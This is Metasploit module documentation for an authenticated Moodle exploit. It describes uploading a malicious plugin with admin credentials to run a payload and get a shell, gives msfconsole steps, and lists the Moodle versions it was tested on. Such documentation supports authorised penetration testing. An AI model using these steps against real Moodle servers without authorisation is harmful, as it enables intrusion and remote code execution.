metasploit-gs/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md

## Vulnerable Application

This module will generate a plugin which can receive a malicious
payload request and upload it to a server running Moodle
provided valid admin credentials are used.  Then the payload
is sent for execution, and the plugin uninstalled.

You must have an admin account to exploit this vulnerability.

Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2

## Verification Steps

1. Install moodle
1. Start msfconsole
1. Do: `use exploits/multi/http/moodle_admin_shell_upload`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a shell.

## Options

### Username

Username for an admin user. Default is `admin`

### Password

Password for an admin user
